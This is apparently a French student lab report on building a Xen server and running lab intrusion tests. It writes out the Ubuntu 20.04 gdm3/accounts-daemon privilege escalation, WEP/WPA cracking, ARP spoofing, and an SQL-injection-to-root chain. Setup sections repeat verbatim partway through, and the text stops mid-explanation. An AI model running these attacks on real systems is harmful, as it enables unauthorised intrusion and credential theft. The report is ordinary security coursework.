Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

Nous pouvons maintenant configurer le serveur mail de notre VM:

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

==4.3 Sécurisation de site web par certificat==

Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

TP sysres IMA5sc 2020/2021 G8

2020-12-02T14:17:09Z

Jsoulaim : /* 4.3 Sécurisation de site web par certificat */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

Nous pouvons maintenant configurer le serveur mail de notre VM:

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

==4.3 Sécurisation de site web par certificat==

Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>

<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

